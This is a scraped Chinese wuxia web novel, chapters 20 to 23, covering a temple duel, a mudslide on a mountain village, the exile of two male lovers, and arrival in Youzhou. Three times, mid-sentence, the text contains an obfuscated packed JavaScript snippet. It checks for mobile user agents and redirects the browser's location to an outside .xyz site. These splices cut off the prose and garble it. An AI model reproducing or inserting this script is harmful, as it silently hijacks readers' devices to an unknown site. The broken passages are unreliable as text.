方隐攸再次回到稹安的木楼里的时候发现他正仓皇的坐在大堂的椅子上,手垂在扶手两侧,整个人都无力的倚靠在椅背上,浑身上下透露着一种绝望的无奈。 方隐攸啧啧两声,用剑鞘敲了敲他的膝盖,“族长,我这不是回来了吗?” 稹安整个人猛地一抖,不可置信的看着他,“你...为什么回来?”他打量着方隐攸,“你应该已经猜到了啊...” 方隐攸挑挑眉,走到他对面的椅子上坐下,盯着他说道,“说把,他是怎么威胁你的?” 稹安沉默良久,眼中闪过痛苦的挣扎,缓缓起身走到屋檐下挂着的一串风铃下,凝望着远处笼罩在大雾下的群山的方向。 “他给了我一包药,让我放入饭菜里,然后晚些时候他会亲自过来。” “如果我不照他说的做,他会杀了途安和季沅。” 说完,他转头愧疚的看着方隐攸,“我别无选择。” 方隐攸缓慢的起身,又缓慢的踱步到他面前,期间一直死死的盯着他的双眼,眼神莫测,带着浓浓的杀气,他的手腕一翻,剑鞘压在稹安的脖子上。 “你们在哪里见的面。” 稹安眼睑轻颤,脑后的白发被风吹起,沉默良久后才快速的说了三个,“山神庙。” 方隐攸收回手,视线越过他望向山神庙所在的方向,“那里啊...” 说着,他朝外走去。 稹安看着看着他的背影,急促的喊道,“方公子,你会平安救出途安的,对吧?” 方隐攸回首,“对。” 稹安松了口气,“多谢你,我为我之前的所作所为向你、还有你的朋友谢罪。”说罢,他抬起手,躬身一拜。 方隐攸摆了摆手,转身离去,他仰面看天,天色将晚,灰蒙蒙的大雾弥漫整个古岭寨。 路上有人看到他,十分震惊的望着他大声喊着什么,他笑着朝他们摆了摆手,示意他们回屋去。 可惜两人语言不通,犹如鸡同鸭讲,那人越发愤怒,竟然还捡起身边的石块朝他扔了过来。 方隐攸无奈的摇摇头,急速朝着山神庙奔去。 老槐树下的尸体已经被挪走,沾染了血迹的那块地早已经被雨水冲刷干净,看不出半点残存的痕迹。 方隐攸站在槐树下,与庙堂中站在神像面前的男人四目相对。 他依旧带着面具,眼中闪烁着烛火的光,明明灭灭,将他眼中的猖狂隐下不少。 方隐攸呵呵一笑,手腕一抖,可生剑立刻出鞘,他也瞬间朝男人奔袭而起,手中的长剑划破长空,带出一道凌厉的剑气。 男人见状迅速跳上供桌,然后手扶着神像一扭身,躲到了神像后面。 方隐攸的剑撞上神像发出一声轰响,神像抖了抖,顷刻间出现一道裂缝,他手里的剑再用力一刺,直接插进神像之中,然后手腕用力一震,神像化作满地碎石。 可是,男人也早已经不在此处。 方隐攸神色一凛,警觉地反手一挥,将朝着自己面门射来的长箭劈断,冷冷的盯着站在门外的男人。 “方隐攸,你竟然敢来。” 男人拉开长弓,对准方隐攸的心脏处,“找死。” 说完,他迅速射出几箭,然后反手拔出腰间的长剑朝着方隐攸冲来。 他的速度很快,长剑直刺向方隐攸眉心,方隐攸腰身一塌,整个人如拱桥一般下落,然后在男人靠近自己时迅速起身,一剑划向他的腰腹。 男人连忙躲开,往后连撤几步,方隐攸顺势而上,手腕转动的迅速而用力,一剑一剑的朝着他的死穴挥去。 “我不是你的对手。”男人一边躲着方隐攸的攻击,一边说道,“但是,你也杀不了我。” 说完,他迅速扭身往屋外跑去,方隐攸见状用长剑挑起身侧的烛台抛至空中,然后用力往他背后一拍,燃烛重重的打在他的背后,让他瞬间朝前扑倒。 方隐攸飞袭到他背后,一脚踩在他的背后,长剑抵在他的后颈,“还跑吗?” 男人呵呵一笑,吐出一口热血,扭过头盯着方隐攸说道,“你敢杀我吗?”说着,他看向屋外,“我的人已经包围了整个寨子,只要你敢动我一下,他们都得死。” 方隐攸盯着他的眼睛,然后跨步站到他前面,抬脚朝着他的肩头狠狠一踹,男人在空中翻了一圈,仰面倒在地上。 “你追了我两年。”方隐攸缓步走向他,眼神淡漠,语气不屑,“却依旧连我的十招都接不下。” 方隐攸蹲到他的面前,眉眼低垂,嘴角上扬,十分鄙夷的打量着他,“你可真是个废物。” “你!”男人恶狠狠的盯着他,“方隐攸,总有一天,我会打败你。” “打败我?”方隐攸哈哈大笑,“知道我为什么不杀你吗?” 方隐攸俯下身靠近他,语气挑衅的说到,“不是害怕你会杀了寨子里面的人,而是我想知道,一个对武学毫无天赋的人,究竟要花多久才能追上我。” 男人闻言咬紧牙根,眼神愈发阴桀,像是要把方隐攸生吞活剥了一般。 方隐攸伸手替他整理好被自己弄皱的衣裳,起身用脚踢了踢他的侧腰,“那两个被你抓来的男人呢?” 男人哼一声,别过头不理他。 方隐攸又踹了两脚,长剑抵在他的胸前,“说。” 就在这时,外面忽然传来几声嘶吼,虽然方隐攸听不到他们喊了些什么,但是不影响他听出语气里面的慌乱与恐惧。 方隐攸一愣,然后用力的一剑划开他的侧颈,鲜血瞬间涌出,“你竟然真的敢动寨子里面的人?” 男人痛苦的捂住脖子,龇牙咧嘴的辩解,“不是我!” 方隐攸脸色一变,立刻朝着屋外跑去,漫天的浓雾忽然之间散去,整个寨子清晰的撞入眼帘,连绵群山之上涌下一股股的泥沙,直冲向山脚下的古寨。 寨子里面的人惊慌失措,忙乱的四处奔走,脸色惊愕不已,有些跑的慢的瞬间便被泥沙掩盖。 方隐攸错愕的转头回望柳傅文所在的山林,他回首眼神警告的看向正颤颤巍巍朝这边走来的男人,“立刻放了他们。” 随后迅速朝着山林奔去。 男人看着他的背影,捡起被扔在地上的弓箭,将箭筒里面的箭全部朝他射了过去。 方隐攸急着赶路,只反手砍断了箭,并未返回去收拾他。 等到方隐攸赶到那棵大树下时,却发现柳傅文并不在此,只有一床棉被空空荡荡的挂在树梢。 “柳傅文!” 方隐攸在周围高声呼喊,却久久得不到回应,眼看着山顶的泥沙即将奔袭到此处,他迫不得已的退出了山林,然后朝着稹安的木楼跑去。 他赶到时稹安正愣愣的站在坍塌的木楼废墟上,他看着周围的被泥沙掩埋的木楼,还有里面挣扎着想要爬出来却越陷越深的族人,整个人都开始变得麻木。 方隐攸提起他的衣领,将人带到高处,“柳傅文来过吗?” 稹安呆呆的望着他,背后席卷而来的风将他的白发卷到空中,像是帘幔挡住他的眉眼,遮不住他的眼中的绝望与自责。 “怪我...”他喃喃自语,“我不该杀他...” 说着,他仰头望天,颓然的闭起眼,“是我引来了天灾...” 方隐攸不耐的捏住他的脖子,让他看向自己,“我问你,柳傅文来过吗?” 稹安迟缓的点点头,“去山神庙了...” 方隐攸转身就走,又在片刻后返回,提着稹安的衣领将人顺手带离这片废墟中。 男人看到方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810159|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隐攸回来呵呵一笑,但是在看到他提在手里的稹安时嘴角瞬间抿成了一条线。 “我就该把他也绑来。” 方隐攸无视他的话,将稹安放在屋脚坐下,然后走到他面前一把捏住他的脖子问道,“我离开之后有人来过吗?” “你保护的那个纨绔?”男人语气不屑,带着十分的鄙夷,抬手握住方隐攸掐住自己的那只手,“来过。” “他现在在哪?” 男人的手顺势下滑,轻轻触碰方隐攸手腕上的肌肤,眼神挑衅的看着方隐攸,“你放开我,我就告诉你。” 方隐攸盯着他,沉默一瞬后忽然将他狠狠地摔在地上,语气森冷的说道:“告诉我,他现在在哪?” 男人蜷缩起来,捂住自己的胸口,咳了几声后缓缓道,“把秘籍给我,我就告诉你他在哪里。” “我没有秘籍。” 男人翻了个身,躺在地上,和俯视自己的方隐攸四目相对,“那我也不知道他在哪里。” 方隐攸抬脚又要朝他踹去,门口忽然传来仓促的脚步声,他皱着眉望了过去,就看到浑身沾满泥沙的柳傅文正狼狈的朝着这边跑来。 方隐攸瞬间冲了出去,一把提起他的衣领将人扔到屋里,大吼道,“我不是警告过你好好待在树上的吗?” 柳傅文十分委屈的盯着他,“我看到山洪来了,担心你...” “我难道会怕这区区山洪?”方隐攸气急了,走到他身边捏住他的下巴,咬牙切齿的说到:“柳傅文,你以后最好是给我听话一点。” 方隐攸的语气十分急迫,眉头紧蹙,眼神焦灼无比,含着深深的担忧,仿佛将他视若珍宝十分害怕他受到任何伤害。 柳傅文被他眼中的情绪所触动,有些愧疚的叹了一口气,“对不起,让你担心了...” 方隐攸呵一声,“三百二十一两黄金,你知道你的命对我来说有多珍贵吗?” 柳傅文闻言,脸色的表情瞬间僵住,他不可置信的眨了眨眼,“你说什么?” 方隐攸却不想多言,收回了禁锢着他的手,然后转头看向还躺在地上的男人,“那两个人,放了。” 男人缓缓的爬了起来,倚在身后的石柱上,重重的吐出一口浊气,“你保护他是因为这三百二十一两黄金?” “与你何干?”方隐攸越发不耐,手中的剑指向他的面门,“要么放人要么死。” 男人沉默的打量方隐攸半晌,似乎察觉到他这次是真的会杀了自己,于是抬手朝着屋外做了个手势,“放了。” 方隐攸于是提着他的衣领将人扔出了山神庙,“滚吧。” 男人在地上滚了几圈后才爬起来,隔着十丈远的距离朝着方隐攸摆了摆手,“方隐攸,下次再来找你。” 说罢,他转身朝着远处奔去。 柳傅文狐疑的望着他离开的方向,“你为什么相信他会放人?” “他要杀会直接杀,不会撒谎。” 柳傅文撇撇嘴,转身看向墙角的稹安,“他怎么办?” “与我们何干。” 说罢,方隐攸满脸嫌弃的打量着柳傅文,“你知道你现在是什么模样吗?” 柳傅文无语的横他一眼,“你知道从泥沙里面爬出来有多难吗?我差点死在里面!” “不是你自作自受吗?” 柳傅文沉默的在心里骂了无数次方隐攸,抬眼间看到外面正朝这么走来的两人,戳了戳方隐攸的手臂,“真放了。” 方隐攸转头看了他们一眼,又看了一眼蜷缩在墙角的稹安,犹豫了一会功夫,然后走到了稹安身边。 “天灾和人无关,祭祀不死,泥石依旧会涌下来。” 稹安闻言缓缓抬头凝望着他,面无表情的摇了摇头,“不...是我的错...” 21. 有违人伦 方隐攸不再宽慰他,而是看向屋外那两个步履蹒跚的人,“途安和季沅来了。” 稹安的脸上终于有了些生机,不再面如死灰,他扶着墙壁缓缓站了起来然后朝外走去。 途安和季沅看到他也连忙跑了过来。 途安一把扶住他的手臂,担忧的打量着他,“哥哥,你怎么了?” 稹安沉默的摇摇头,反手紧紧的握住他的手腕不说话。 就在这时,庙前的小路上忽然涌来一大波寨民,他们个个手拿木棍和铁叉,嘴里愤怒的大喊着什么,眼神也凶狠无比,刚刚死里逃生的人瞬间变成了一群鬼夜叉。 稹安听清楚他们大喊的话以后,脸色猛地一变,他忽然朝着庙里的方隐攸和柳傅文喊道,“二位快跑!你们认为是你们招来了天灾,要来拿你们祭天。” 方隐攸闻言气极反笑,“愚昧。” 柳傅文握住他的手,“不如我们走吧?” 方隐攸看着稹安无所谓的耸耸肩,“强行冲出去必然会死几个人,你这个做族长的若是不在意,那我便杀出去。” 稹安犹豫的抿起了唇,他看着来势汹汹的族人,他们嘴里的谩骂与诘问他听得清清楚楚——外族人在山神庙外杀了祭祀惹恼了山神,所以才降下天灾,只有杀了二人祭天,才可平息山神的怒火。 途安的视线在几人之间来回穿梭,发觉哥哥的犹豫与纠结,于是直接跑到了人群前面,双手张开拦住了人。 只见他大声的喊了几句话后,对面那群人的脸色从疑惑到震惊再到愤怒迅速转变。 而稹安和季沅的脸色也瞬间变得慌乱起来。 人群里走出来一个年长的老头,他手指着途安大声质问稹安,语气十分愤慨,就连方隐攸和柳傅文这两个听不懂的都能轻易感知到他此时的情绪。 稹安听他说完后颓然的塌下肩膀,配着他那满头花白的头发,从背影看向完全就像是一个耄耋老者。 他的沉默让众人再次发怒,手里的棍叉愤恨的往地上一跺,气势逼人。 季沅走上前说了几句话,然而却被老头一脚踢在侧腿,整个人都踉跄着朝后倒去。 途安见状连忙揽住他的腰,将人护在怀里,梗着脖子朝众人大声喊了几句。 稹安往前一步,将他们两人护在身后,神情自责的望着对面的一群人,愧疚的说了很长很长的一段话。 可是对面听完以后脸色的怒色没有丝毫收敛,反倒是嚎叫着开始挥动手里的武器。 方隐攸盯着抱在一起的两人,“这两人怎么...” “怎么了?”柳傅文不解的看着他。 “两个男人怎么可以如此亲密?” “啊?”柳傅文顺着他的视线看过去,才发觉眼下途安竟然将季沅整个人都仅仅的护在怀里,用背接着身后人一棍一棍的敲打。 直到途安背后见了血,那群人都没有丝毫收敛,更有甚者将人还想拿刀叉去看,明显是想要弄死他。 稹安见状也慌了起来,连忙大声的斥责他们,驱赶他们,可是他终究是只有一个人,根本无法与之抗衡。 眼看着途安就要淹没在人群中,稹安不得已快速跑到方隐攸面前,恳切的望着他,“方公子,请你救救途安吧...” 方隐攸皱了皱眉,然后提剑冲进去人群中,几脚踹飞拿木棍的人以后将他们两个人提进了庙中,还顺手关上了门。 稹安先将浑身鲜血淋淋的途安仔细的看了个遍,确定他没有生命危险以后扑通一下跪在了方隐攸面前,“多谢方公子救命之恩。” 被途安护着毫发无损的季沅也跪在了方隐攸面前,“多谢方公子救命之恩。” 方隐攸往后撤了一步,避开他们的跪拜,“这到底是什么一回事?” 他指了指门外,“他们不是冲着我们来的吗?怎么又开始打途安和季沅了?” 稹安脸色闪过一丝难堪,嘴角微颤,隐忍的握紧拳头,深呼了几口气以后刚想开口,一旁的季沅先一步说了起来。 “方公子,一切罪过在我、在途安,不在族长。” 庙堂中烛光抖动,将季沅眼中的惭愧与羞耻照的清清楚楚,“我与途安生出有违人伦之情,被祭祀所察觉。他欲要将此事告知族中众人,但是...” “倘若被揭发,我与途安必死无疑。不得已,族长杀了祭祀。” 说着,季沅诚恳而迫切的望着方隐攸,“但是诸事皆是因我和途安而起,天灾也是我与他招来...”他垂下头,无力的跪坐在腿弯上,“我和他...该死。” 方隐攸越听,脸色越困惑,他视线在途安和季沅之间来回打转,“有违人伦之情?什么情?” 柳傅文闻言无语的一把将他扯到身边,“方隐攸,你行走江湖这么久,不知道龙阳之好、断袖之癖吗?” 方隐攸真诚的点点头,“不知道。” 柳傅文不可置信的凑到他耳边,小声解释,“就是男人爱上了男人!” 方隐攸一把推开柳傅文,“男人怎么可以相爱?天地造化将人分为男女,动物区别雄雌,为的就是男女相交、雌雄相配,怎么可以男人爱上男人?” 季沅听他这么一说,更加羞愧难当,紧紧的咬住唇齿,沉默的垂下头盯着地上的尘埃。 “愚昧!”柳傅文嗤笑一声,“你就是愚昧无知!男人为什么不能爱上男人?爱由心生,只要有心就可以爱上任何一个人,管他是男是女。” 说着,柳傅文手往京城的方向一指,“方隐攸,你这无知的南蛮子,你要是去京城里走一遭那可才叫开了眼,朝中鼎鼎有名的舒宰相所爱便是男子。” “荒唐!”方隐攸满脸鄙夷的看着柳傅文,“朝堂就是因为被这种人把持才会导致现在的民不聊生!” 柳傅文越听越气,一脚踹在方隐攸的侧腿上,“你才是荒唐,南边来的屠夫,脑子里面除了打打杀杀没有半点好货!” 柳傅文一脚踹不动方隐攸分毫,自己反倒是没站稳打了个趔趄,他咬牙切齿的瞪了一眼方隐攸继而看向正满脸震惊的看着自己的季沅。 他几步都到季沅面前将他和稹安都扶了起来,“情爱一事从来没有什么天地规则,同性相爱不是乱则,异性相爱也称不上守规,总之无论是谁与谁相爱,相爱是关键,其它的都是细枝末节。” 季软闻言,眼神惊讶又迷茫,整个人都受到了巨大的冲击,“可是...自古以来便是男女相亲...” “自古以来便是对的吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810160|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”柳傅文又愤愤不平的瞪着方隐攸,“就是有这所谓的自古以来,让那些胆小害怕之流只敢隐瞒自己心中真正所爱之人,让自古以来的同性相爱者销声匿迹,让自古以来被人所知的皆是男女相亲、异性相恋!” 方隐攸呵呵一笑,走到烛台边轻轻挑动烛芯,烛火瞬间一抖,“你朝着我吵嚷有什么用?现在要打杀他们的是屋外那群人,不是我。” 柳傅文回首看向紧闭的屋门,那群人忌惮着方隐攸的实力,并不敢破门而入,只敢在外面破口大骂。 “他们迂腐顽固是他们的事情。”柳傅文看向季沅,“你和途安离开寨子,去外面的世界生活,那里没有一个人会对你们指指点点,虽然可能也会有一些异样的眼光,但是那都是些不开化的莽夫,你们无需在意。” 季沅犹疑的看向柳傅文,“真的吗?” “当然是真的!”柳傅文拍拍胸脯,“本公子就是从外面来的,自然比你了解外面!” 季沅露出一个激动的表情,看着稹安试探性的问道,“族长,我可以和途安离开寨子吗?” 稹安板着脸看着他,眼神十分纠结,他又看了一眼躺在地上一动不动的途安,最后无奈的长叹一口气,“你可知道,一旦离开便永远不可再回来。” 季沅点点头,“我知道。” “那途安呢?他愿意和你离开吗?” “哥哥...”躺在地上的途安忽然动了一下,他缓缓仰头看向稹安,“你与我们一起离开...” 稹安一愣,十分坚定的摇摇头,“我是族长,绝对不可以离开古岭寨。” 途安闻言惨然一笑,“那我也不离开,大不了被他们打死。” 季沅扑倒他身边,“途安!” 方隐攸看着他们三个人纠结为难的模样,十分不理解,“你们就不能变通一下吗?一个偷偷回来,一个悄悄出去,有谁会知道?” 三人同时睁大眼睛看着他,眼中满是惊讶。 “看我做什么?难道不是吗?你们这里周围都是山林,随便从哪里绕进来不就是了,非得敲锣打鼓闹得人尽皆知吗?”方隐手双手叉腰,盯着途安,“要么死要么就悄悄的活。” 柳傅文也赞同的点点头,“对,你们可以私底下聚在一起,这样也算是两全其美。” 季沅观察着稹安的神色,“族长,你觉得这样可以吗?” “你可以留在寨子里,我们也可以离开寨子。” “哥哥...”途安望着稹安,“对不起...怪我让你受累了...” 稹安垂下头,嘴用力的抿成一条线直线,眼神复杂的仔细的打量着途安——这个从小由他亲手带大的弟弟。 途安比他小六岁,从小就听话,小时候便会扯着他的衣摆亦步亦趋的跟着他,等到大了两人之间的关系也没有生分,他依旧是那个沉稳的哥哥,途安也还是那个乖顺的弟弟。 两个人相互依持着走了二十年,他怎么可能任由他被族人打死。 “罢了...就这样吧...” 稹安转身背对他们,长长的吐出一口浊气,“我会告诉族人,将你们驱逐出去来平息山神的怒气。” “然后,你们便去过你们想要的生活吧。” 22. 幽州 这一晚,他们五个人在山神庙里凑活着歇了会,等到第二天天刚刚亮的时候,稹安就出门去和族人请罪了。 虽然稹安已经考虑好了一切,但是族人却并不想轻易放过途安和季沅这一对引来天灾的罪人。 最后逼着他亲手鞭打了每人五十鞭才同意将他们逐出古岭寨。 方隐攸和柳傅文旁观了整场行刑,稹安每一鞭子都打的很实在,等到打完的时候两个人的背上没有一块好皮肤。 “走吧。” 方隐攸拉着柳傅文往外走去,“现在出发,晚上应该能到幽州。” 柳傅文回头看着倒在地上奄奄一息的途安和季沅,“要是他们不在古岭寨,也不用遭这个罪。” 方隐攸充耳不闻,看着他们进寨时走过的那条小路旁的树林,仔细找着进寨时停在里面的马车。 柳傅文久久得不到回应,纳闷的望着他看的方向,“你在找什么?” “马车不见了。” “啊?” 柳傅文惊呼一声,迅速跑进树林中,仔仔细细的找了许久都没有看到马车的影子。 “本公子的马车呢?”柳傅文愤怒的看着方隐攸,“谁把我们马车驾走了?” “除了我们,还有谁进过寨?” “那个戴面具的?” “嗯。” 柳傅文咬牙切齿的跺了跺脚,“下次,本公子要亲手打死他!” 方隐攸扯了扯嘴角,伸手拽住他的衣领将人提出了树林。 柳傅文再次遥望古岭寨,木楼半数被泥石淹没,乌黑的淤泥涌进那条细长的溪流,和当初时的静谧安逸相去甚远,不过两夜的功夫,这个地方就变得颓败。 “可惜了,季沅的师父死在了这次泥流中。” 方隐攸无所谓的嗯一声,继续往前走。 柳傅文追上他,“稹安应该很快就能让这里恢复原样。” “操心劳神命。”方隐攸撇撇嘴,“他心思太深,爱糊弄人。”说着,他指着脚下的路,“还说什么原路不可返回,可笑。” 柳傅文嗤笑一声,斜眼扫他一眼,“你孤身一人无牵无挂自然凡事不计较,他肩上担的可是全族人的希望。” 方隐攸随意的哦一声,不再和他说这个话题,等到两人从岔路上重新上了官道时恰好看到有几个人骑着马朝他们奔来。 柳傅文仔细观察了一圈他们骑的马,感慨道:“这马可不一般,是日行千里的良驹。” “嗯,骑马的人武功也不低。” 柳傅文眼珠一转,“要不你去找他们商量商量,匀出一匹来卖给我们?银子的问题好说。” 他们现在距离幽州还有四百多里路,方隐攸背着他奔袭倒是也能在天黑前赶到,但是柳傅文显然更情愿骑马赶路。 “好。” 说罢,方隐攸直接提剑拦在路中,在那几人即将冲过来时拔出剑指着前方,逼迫他们停了下来。 他们一行有五人,做着相同的打扮——身穿一件右袖上绣有红隼的蓝白道袍。 打头的那个人年纪稍长,留着长须,看到方隐攸时用力的勒住缰绳,骏马高昂起头嘶鸣一声,骤然停了下来。 他不悦的跳下马,瞪着方隐攸说道,“小辈,你可知道你拦的是谁?” 方隐攸将剑入鞘,态度变得恭敬起来,指了指路旁的柳傅文,“得罪前辈,我家公子欲要买你们的马。” 男人闻言表情一僵,然后愤怒的指着方隐攸,“胡闹!我这是赶路的马,怎么可能卖给你!” 说罢,他转身就要踩蹬上马。 方隐攸看一眼柳傅文,看他正一脸欣赏的打量着那几匹良驹,也明白了他心里的想法,于是说道,“你们五个人四匹马足以。” 男人脸色一沉,不耐的看着方隐攸,“你这小辈,好不识趣,我已经说了不卖,你多说无益。” “一两黄金一匹马。” “不卖。” “二两黄金。” “不卖!”男人伸手想要推开方隐攸却被他轻巧的避开,男人脸色瞬间警惕了起来,打量着看着方隐攸,“小辈,你是那个门派的?” “无门无派。” 说罢,方隐攸再次指了指他手里的马,“卖不卖?” 男人的态度变得迟疑起来,视线在柳傅文和方隐攸身上来回穿梭,然后直接将缰绳扔到方隐攸手里,“送你,就当我陈生交下了你这个朋友。” 方隐攸握了握手里的缰绳,朝他微微一笑,“京城柳傅文。” “好!有缘再会!” 说罢,陈生翻身上了另外一人的马背,与他同坐一骑朝着前路奔去。 柳傅文跑到马前伸手拿过缰绳,满足的拍了拍马背,“好久没有看到这么好的马了。” 方隐攸往后退了一步,看他围着马转了一圈,嘴里还嘀嘀咕咕的称赞个不停。 “上马,赶路了。” 柳傅文点点头,踩着脚蹬跨上马背,然后俯首看着身旁的方隐攸,“你不上来?” 方隐攸摇摇头,“我不与人共骑。” “为什么?”柳傅文摸了摸马鬃,“这可是难得的良驹。” “没有为什么。” 说罢,方隐攸用剑鞘打了一下马屁股,“握稳。” 骏马立刻快速朝前奔去,而他也疾步跟在马后,视线锁在柳傅文的身影上,以防他出什么意外。 良驹不愧是良驹,四百多里路花了不到三个时辰就到了。 进了城以后柳傅文担心他的马累了饿了,直接去了幽州城里最豪华的酒楼,那里不仅能住宿、吃饭、还能帮忙喂马。 在店小二从柳傅文手里接过缰绳的时候,他反复叮嘱草料须喂最好的,银子不是问题。 方隐攸无语的看着他,“一匹良驹而已,有必要吗?” 柳傅文瞥他一眼,呵呵一笑,压根不想搭理他,径直进了酒楼大堂。 大堂里面的客人很多,可以说是座无虚席,但是却并不吵闹,客人的交谈声都压得很低。 两人寻了一个靠窗的位置,柳傅文十分阔气的点了一大桌菜,最后还要了一壶美酒,说是感谢方隐攸为他取得了一匹良驹。 方隐攸对此没有任何反应,只是叮嘱小二酒一定要楼里最好的,若是掺了水的东西,他必然掀了酒楼。 店小二闻言尴尬的笑了笑,迅速的往后厨跑去。 柳傅文摇着头啧啧几声,“这么大的酒楼,别人既然收了你的银子,就不会糊弄你。” 方隐攸噢一声,转头看向窗外。 幽州城很繁华,街上的各种铺子里面摆的都是上等货,还有许多高丽、交趾那边才有的珍惜东西,往来行人里也不时的走过几个蓝眼睛黄头发的胡人。 忽然,方隐攸看见人群里有一个身穿白衣,黑发半束,背影颀长的男人,他的眼瞳一缩,迅速翻窗而下,落在街道上快步朝着那人奔去。 柳傅文见状一惊,连忙伏在窗户上,想要弄清楚方隐攸为什么会突然出去。 方隐攸的速度极快,在柳傅文的视线里只是眨眼的功夫就已经一把扯住了那个男人的衣袖,然后又忽然止住,没有其他动作。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810161|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那个男人似乎有些惊讶,先是垂头看了一眼握住自己胳膊的手,然后才缓慢的转过身来看向方隐攸。 两个人视线交接的一瞬间,方隐攸整个人都抖了一下,虽然隔着大约十丈远的距离,但是柳傅文还是清晰的看到了他身躯的震颤,像是噩梦时被惊醒的那一下,浑身上下有一瞬间的僵硬的颤抖。 方隐攸其实并没有察觉到自己的颤抖,他只是感觉到无比的震惊,自己竟然会认错弟弟。 就因为面前这人穿着弟弟常穿的白色广袖长袍,行走时衣裳如舒卷的云,自己就认错了人。 他愤怒,自责,感觉到心里像是窝了一团火再烧,想要将他烧作一团焦炭,不过这样也好,一了百了。 方隐攸痛苦的抱着头蹲了下来,弟弟如果知道他认错了人,会不会感觉到难过与失望? 忽然,方隐攸感觉到身前男人的手正朝他伸来,他几乎是下意识的拔剑出鞘,抬手就朝他刺了过去。 就在这时,一个身穿紫色锦衣的男人不知从哪里蹿了出来,用力推了一把白衣男子,两个人都摔倒在地,方隐攸的剑刃擦过锦衣男人的侧肩,带出一条血痕。 方隐攸错愕的看着自己手中的长剑,他竟然失手了... 反应过来的方隐攸还想继续挥剑,却感觉到有人用力的握住他的肩膀将他用力往后一拽——是柳傅文,他正一脸焦急的看着自己。 方隐攸不理解他在担心害怕些什么,一剑刺不中那就再来一剑不就行了。 于是,他的手腕用力一震,空气中响起一声鸣响,他刚想挥剑,就感觉脖子后面一痛,随后两眼一闭,不省人事。 柳傅文接住瘫软下来的方隐攸,让他倚靠在自己的侧肩上,然后朝着面前的两个男人说道:“对不住对不住,家弟犯了病,差点闹出人命来。” 锦衣男子先爬了起来,他看了一眼自己肩膀上的伤口,然后十分不在意的摆了摆手,脸上没有丝毫不满的表情,反倒是还有几分兴奋的盯着倚在柳傅文侧颈上昏睡的方隐攸。 “你弟弟武功很厉害吧?” 柳傅文一愣,抬手将方隐攸的脸往自己脖子里压了压,避开了男人的视线,“马马虎虎,谈不上厉害。” 这时候,那个白衣男子也爬了起来,他脸色十分阴沉,打量着柳傅文和方隐攸,“有病还让他出门?你这做兄长的怎么回事?” 柳傅文尴尬的扯了扯嘴角,从怀里掏出一锭金子递给白衣男子,“对不住对不住。” 男子见状脸上的不耐瞬间消失,接过金子后转身就走,似乎十分害怕柳傅文反悔拿回金子。 柳傅文注意到锦衣男子一直在打量方隐攸,于是又从怀里拿出一锭金子递到他面前,“多谢公子出手才避免了我弟弟闯下大祸,这点银子还望公子收下。” 锦衣男子的视线只在金子上随意的扫了一下,然后伸手指了指方隐攸,“你弟弟怎么称呼?在江湖上可有名号?” 柳傅文再次将方隐攸的身子往自己这边偏了偏,然后清了清嗓子说道,“京城柳傅文。” 锦衣男子小声嘀咕一句,“柳傅文...” “对,柳傅文。”柳傅文微微一笑,“公子大概未曾听过,他在江湖上就是个无名小卒。” 锦衣公子点点头,“确实未曾听过这么一号人物。” 说完,他摆了摆手,“罢了罢了,你还在早些将他带回家吧,别又出现刚刚的事。” 柳傅文连连应好,目送锦衣公子离开以后他环顾四周,确定周围没有那个戴面具的男人的耳目才敢背着方隐攸回了酒楼。 23. 武功暂失 方隐攸再次睁开眼睛时看到的是柳傅文极度犹豫纠结的脸,他的视线在他的身上来回穿梭,像是要扒掉他的衣服,探究里面的每一寸肌肤一样。 方隐攸视若无睹的移开目光,看向头顶的床幔,淡淡道,“扶我起来。” 柳傅文闻言一惊,像是没有想到他会醒的这么快,不过还是坐到床边将人扶了起来,还给他拿了个软枕放在背后,让他靠的更加舒服些。 “你感觉怎么样?身体没有什么不适吧?” “还好。”说完,方隐攸环顾了一圈房间,视线最后落在半掩的窗户上,貌似无意的说道:“窗户没有关好。” 柳傅文表情一僵,起身将窗户关好后,顺手给他倒了一杯温水。 方隐攸接过水杯一口喝尽,然后转过头看着他,“我怎么了?” 柳傅文眨了眨眼,“你又不记得了?” “嗯。” “那你记得多少?” 方隐攸皱了皱眉,“记得我们正坐在酒楼里,等着小二上菜。” “后面的就都不记得了?” 方隐攸思索片刻,摇摇头,笃定的说,“不记得了。” 柳傅文脸色变得凝重起来,坐到床边盯着他的眼睛,缓缓解释起来,“你突然从窗户翻到街上去追一个白衣男子,还要杀了他,然后失了手,我追过去的时候看到你双眼猩红,又想起来季沅说你体内有邪气,怕你再次变得像在淮临一样杀人如麻,我就一掌把你打晕了。” 方隐攸的视线落到他放在床沿上修长白皙的手上,关节和指腹还带着些粉,乍一眼确实像个文人的手,柳傅文被他看得有些不自在,将手收到背后藏好。 “你看什么?” 